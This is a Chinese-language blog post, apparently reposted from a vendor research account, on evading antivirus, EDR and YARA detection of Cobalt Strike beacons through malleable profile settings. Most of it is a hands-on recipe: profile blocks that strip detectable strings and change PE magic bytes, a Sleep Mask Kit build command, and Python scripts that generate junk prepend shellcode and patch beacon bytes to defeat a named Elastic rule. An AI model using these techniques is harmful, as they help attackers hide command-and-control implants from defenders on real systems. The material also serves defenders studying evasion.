Cobalt-Strike 通过修改配置文件免杀

渗透技巧 9个月前 admin
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前言

山石情报中心在进行威胁狩猎时,意外发现一批威胁组织样本。有趣的是,这些样本中的CobaltStrike的beacon在内存中含有完整的shellcode上下文,竟然成功绕过了本地杀软的检测。鉴于这一发现,我们的团队决定深入研究CobaltStrike是如何规避相关杀软和EDR检测的,尤其是在beacon未加密的情况下。需要强调的是,我们的目的是分享学习经验,而非鼓励违法活动。

绕过内存扫描

Cobalt Strike 的最新版本使使用者可以轻松绕过 BeaconEye 和 Hunt-Sleeping-Beacons 等内存扫描仪。打开以下选项:

  • 将 sleep_mask 设置为“true”;

通过启用此选项,Cobalt Strike 将在休眠之前对其堆和beacon的每个映射部分进行异或,从而在beacon内存中不留下任何不受保护的字符串或数据。因此,上述任何工具都不会进行任何检测。

Cobalt-Strike 通过修改配置文件免杀

BeaconEye 也无法找到休眠 Beacon 的恶意进程:

Cobalt-Strike 通过修改配置文件免杀

虽然它绕过了内存扫描器,交叉引用了内存区域,但我们发现它直接引导我们找到内存中的信标有效负载。

Cobalt-Strike 通过修改配置文件免杀

这表明,由于beacon是 API 调用的起始位置,一旦 WaitForSingleObjectEx 函数完成,执行将返回那里。对内存地址而不是导出函数的引用是一个危险操作。自动工具和手动分析都可以检测到这一点。强烈建议使用 Artifact Kit 启用“堆栈欺骗”,以防止此类 IOC。即使它不是可延展配置文件的一部分,启用此选项也是值得的。必须通过将第五个参数设置为 true 来启用欺骗机制:

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在编译过程中,将生成一个 .CNA 文件,并且必须将其导入到 Cobalt Strike 中。导入后,更改将应用于新生成的有效负载。我们再分析一下Beacon:

Cobalt-Strike 通过修改配置文件免杀

差异非常明显。线程堆栈被欺骗,没有留下内存地址引用的痕迹。还应该提到的是,Cobalt Strike 于 2021 年 6 月在武器库工具包中添加了堆栈欺骗。但是,我们发现调用堆栈欺骗仅适用于使用artifact kit创建的 exe/dll 工件,不适用于通过 shellcode 注入的线程。

绕过静态签名

现在是测试信标针对静态签名扫描仪的性能的时候了。启用以下功能将删除存储在信标堆中的大部分字符串:

  • set obfuscate “true”;

将配置文件应用于 Cobalt Strike 后,生成原始 shellcode 并将其放入 Shellcode 加载器的代码中。EXE编译完成后,我们分析了存储字符串的差异:

Cobalt-Strike 通过修改配置文件免杀

Cobalt-Strike 通过修改配置文件免杀

在许多测试用例中,我们意识到即使使用大量定制的配置文件(包括混淆),信标仍然会被检测到。使用 ThreadCheck,我们意识到 msvcrt 字符串被识别为“bad bytes”特征:

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这确实是在 Beacon 堆中找到的字符串。混淆选项并没有完全删除所有可能的字符串:

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我们稍微修改一下配置文件以删除此类可疑字符串:

strrep "msvcrt.dll" "";
strrep "C:\Windows\System32\msvcrt.dll" "";

但是这并没有多大帮助,因为字符串仍然在堆中找到。我们可能需要采取不同的方法来解决这个问题。

Clang++

不同的编译器有自己的一组优化和标志,可用于针对特定用例定制输出。通过尝试不同的编译器,用户可以获得更好的性能,并有可能绕过更多的 AV/EDR 系统。
例如,Clang++ 提供了多个优化标志,可以帮助减少编译代码的大小,而 GCC (G++) 则以其高性能优化能力而闻名。通过使用不同的编译器,用户可以获得可以逃避检测的独特可执行文件:

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字符串 msvcrt.dll 不再显示,导致 Windows Defender 被绕过:

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针对各种防病毒产品进行测试会产生一些不错的结果(未加密的 shellcode):

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删除字符串是远远不够的

尽管在我们的配置文件中启用了混淆,但我们仍然能够检测到信标堆栈内的大量字符串:

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我们对配置文件进行了一些修改,添加了以下选项以删除所有提到的字符串:

transform-x64 {
    prepend "x90x90x90x90x90x90x90x90x90"# prepend nops
    strrep "This program cannot be run in DOS mode" ""# Remove this text
    strrep "ReflectiveLoader" "";
    strrep "beacon.x64.dll" "";
    strrep "beacon.dll" ""# Remove this text
    strrep "msvcrt.dll" "";
    strrep "C:\Windows\System32\msvcrt.dll" "";
    strrep "Stack around the variable" "";
    strrep "was corrupted." "";
    strrep "The variable" "";
    strrep "is being used without being initialized." "";
    strrep "The value of ESP was not properly saved across a function call.  This is usually a result of calling a function declared with one calling convention with a function pointer declared" "";
    strrep "A cast to a smaller data type has caused a loss of data.  If this was intentional, you should mask the source of the cast with the appropriate bitmask.  For example:" "";
    strrep "Changing the code in this way will not affect the quality of the resulting optimized code." "";
    strrep "Stack memory was corrupted" "";
    strrep "A local variable was used before it was initialized" "";
    strrep "Stack memory around _alloca was corrupted" "";
    strrep "Unknown Runtime Check Error" "";
    strrep "Unknown Filename" "";
    strrep "Unknown Module Name" "";
    strrep "Run-Time Check Failure" "";
    strrep "Stack corrupted near unknown variable" "";
    strrep "Stack pointer corruption" "";
    strrep "Cast to smaller type causing loss of data" "";
    strrep "Stack memory corruption" "";
    strrep "Local variable used before initialization" "";
    strrep "Stack around" "corrupted";
    strrep "operator" "";
    strrep "operator co_await" "";
    strrep "operator<=>" "";
}

问题解决了!字符串不再存在于堆栈中。

前置操作码

此选项会将配置文件中的操作码附加到生成的原始 shellcode 的开头。因此,必须创建一个完全有效的 shellcode,以免在执行时使信标崩溃。基本上我们必须创建一个不会影响原始 shellcode 的垃圾汇编代码。我们可以简单地使用一系列“0x90”(NOP)指令,或者更好的是,使用以下汇编指令列表的动态组合:

inc esp
inc eax
dec ebx
inc ebx
dec esp
dec eax
nop
xchg ax,ax
nop dword ptr [eax]
nop word ptr [eax+eax]
nop dword ptr [eax+eax]
nop dword ptr [eax]
nop dword ptr [eax]

选择一个独特的组合(通过打乱指令或添加/删除它们),最后将其转换为 x 格式以使其与配置文件兼容。在本例中,我们按原样获取指令列表,因此当转换为正确的格式时,最终的垃圾 shellcode 将如下所示:

transform-x64 {
        ...
        prepend "x44x40x4Bx43x4Cx48x90x66x90x0Fx1Fx00x66x0Fx1Fx04x00x0Fx1Fx04x00x0Fx1Fx00x0Fx1Fx00";
        ...
}

我们更进一步,使用一个简单的 python 脚本自动化整个过程。该代码将生成一个随机的垃圾 shellcode,您可以在 prepend 选项上使用它:

import random
byte_strings = ["40""41""42""6690""40""43""44""45""46""47""48""49""""4c""90""0f1f00""660f1f0400""0f1f0400""0f1f00""0f1f00""87db""87c9""87d2""6687db""6687c9""6687d2"]

# 随机
random.shuffle(byte_strings)
formatted_bytes = []
for byte_string in byte_strings:
    if len(byte_string) > 2:
        byte_list = [byte_string[i:i+2for i in range(0, len(byte_string), 2)]
        formatted_bytes.append(''.join([f'\x{byte}' for byte in byte_list]))
    else:
        formatted_bytes.append(f'\x{byte_string}')
formatted_string = ''.join(formatted_bytes)
print(formatted_string)

当使用更改后的配置文件再次生成原始 shellcode 时,您会注意到前置字节(MZ 标头之前的所有字节):

Cobalt-Strike 通过修改配置文件免杀

设置rich header

添加 rich_header 在免杀方面没有任何区别;然而,仍然建议用它加强扫描器对抗。该选项负责编译器插入的元信息。Rich header 是一个 PE 部分,充当 Windows 可执行文件构建环境的指纹,并且由于它是一个不会被执行的部分,因此我们可以创建一个小的 python 脚本来生成垃圾汇编代码:

import random

def generate_junk_assembly(length):
    return ''.join([chr(random.randint(0255)) for _ in range(length)])

def generate_rich_header(length):
    rich_header = generate_junk_assembly(length)
    rich_header_hex = ''.join([f"\x{ord(c):02x}" for c in rich_header])
return rich_header_hex
#确保操作码的数量必须是4字节对齐的
print(generate_rich_header(100))

复制输出 shellcode,并将其粘贴到配置文件中(在 stage 块内):

stage {
    ...
    set rich_header "x2ex9axadxf1...";
    ...
}

注意:Rich Header 的长度必须是 4 字节对齐,否则会有 OPSEC 警告:

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OPSEC 警告:为了使 Rich Header 看起来更合法,您可以转换真正的 DLL 并将其转换为 shellcode 格式。

绕过主流YARA 规则

最具挑战性的 YARA 规则之一来elastic规则。使用上述可延展配置文件中修改/创建的所有选项来测试我们的原始信标。

使用Arsenal Kit 中的Sleep Mask可以轻松绕过Windows_Trojan_CobaltStrike 规则。尽管通过将 sleep_mask 设置为“true”在可延展配置文件中启用了 sleep_mask,但仍然不足以绕过此静态特征,因为所执行的混淆例程很容易被检测到。为了使用Sleep Mask Kit,请通过 build.sh 生成 .CNA 文件并将其导入到 Cobalt Strike。

要生成睡眠掩码,我们必须提供参数。如果使用的是最新的 Cobalt Strike 版本,请将 4.9 作为第一个参数。第二个参数与使用的 Windows API 有关。我们使用 WaitForSingleObject,因为现代检测解决方案拥有针对睡眠的对策,例如挂钩 C/C++ 中的 Sleep 或 C# 中的 Thread.Sleep 等睡眠函数来取消睡眠,而且还可以快进。建议始终将第三个参数设置为 true,以便屏蔽beacon内存中的明文字符串。最后,使用系统调用将避免用户态挂钩;在这种情况下,indirect_randomized 将是Sleep Mask Kit的最佳选择。您可以使用以下 bash 命令生成Sleep Mask Kit:

bash build.sh 49 WaitForSingleObject true test/dir/

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加载生成的 .CNA 后,我们可以扫描原始 shellcode。规则 b54b94ac 被绕过,但是,还有两个规则需要绕过。

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我们来分析一下Windows_Trojan_CobaltStrike_1787eef5这个规则是什么:

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简单看一下该规则,我们可以清楚地看到该规则正在扫描PE头,例如4D 5A(MZ头)。我们可以确认我们的 shellcode 确实具有标记的字节:

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幸运的是,Cobalt Strike 通过将以下选项应用于配置文件,使我们可以更轻松地修改 PE 标头:

  • set magic_mz_x64 “OOPS”;

该值可以是任意值,只要长度为四个字符即可。将此选项添加到我们的配置文件将使 Windows_Trojan_CobaltStrike_1787eef5 不再检测到信标: 

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我们可以看到魔术字节如何更改为我们之前在原始 shellcode 上放置的内容:

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现在让我们绕过Windows_Trojan_CobaltStrike_f0b627fc(最难的一个)。反汇编YARA规则的操作码,我们得到以下结果:

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我们可以确认它存在于我们的 shellcode 中:

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为了解决这个规则,我们首先必须分析 x64dbg 中的 shellcode。我们在 eax,0xFFFFFF(YARA 标记的指令)上设置断点,标志(ZF)被设置为1,因不进行跳转(JNE指令)我们将指令and eax, 0xFFFFFF 更改为 mov eax,0xFFFFFF (因为这两条指令几乎相同):

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为了完全自动化字节替换,我们创建了一个 python 脚本,在生成的shellcode中直接patch:

def replace_bytes(input_filename, output_filename):
    search_bytes      = b"x25xffxffxffx00x3dx41x41x41x00"
    replacement_bytes = b"xb8x41x41x41x00x3Dx41x41x41x00"
    with open(input_filename, "rb"as input_file:
        content = input_file.read()
        modified_content = content.replace(search_bytes, replacement_bytes)
    with open(output_filename, "wb"as output_file:
        output_file.write(modified_content)
    print(f"Modified content saved to {output_filename}.")
input_filename = "beacon_x64.bin"
output_filename = "output.bin"
replace_bytes(input_filename, output_filename)

该代码搜索字节序列 x25xffxffxffx00x3dx41x41x41x00 (and eax,0xFFFFFF)并将其替换为新的字节序列 xb8x41x41x41 x00x3Dx41x41x41x00(mov eax,0xFFFFFF)。更改随后将保存到新的二进制文件中。

结论

在测试环境中,尽管我们使用了非常基本的代码在具有 RWX 权限的本地内存进程中注入原始 Shellcode(垃圾 OPSEC),但我们仍然设法绕过了现代EDR检测。事实证明,利用高度定制和先进的 Cobalt Strike 配置文件是逃避 EDR 解决方案和防病毒软件检测的有效策略,以至于无需对 shellcode 进行加密。

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https://sandbox.hillstonenet.com.cn/

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参考链接

  1. https://macchiato.ink/web/tools/CS_Profile/

  2. https://www.chabug.org/web/832.html

  3. https://github.com/rsmudge/Malleable-C2-Profiles

  4. https://github.com/EvilGreys/Cobalt-Strike-Profiles-for-EDR-Evasion

  5. https://github.com/aleenzz/Cobalt_Strike_wiki/blob/master/3-%E7%AC%AC%E4%B8%80%E8%8A%82%5BMalleable%20C2%20%E9%85%8D%E7%BD%AE%E7%AE%80%E4%BB%8B%E4%B8%8E%E4%BD%BF%E7%94%A8%5D.md

原文始发于微信公众号(山石网科安全技术研究院):Cobalt-Strike 通过修改配置文件免杀

版权声明:admin 发表于 2024年1月29日 下午5:16。
转载请注明:Cobalt-Strike 通过修改配置文件免杀 | CTF导航

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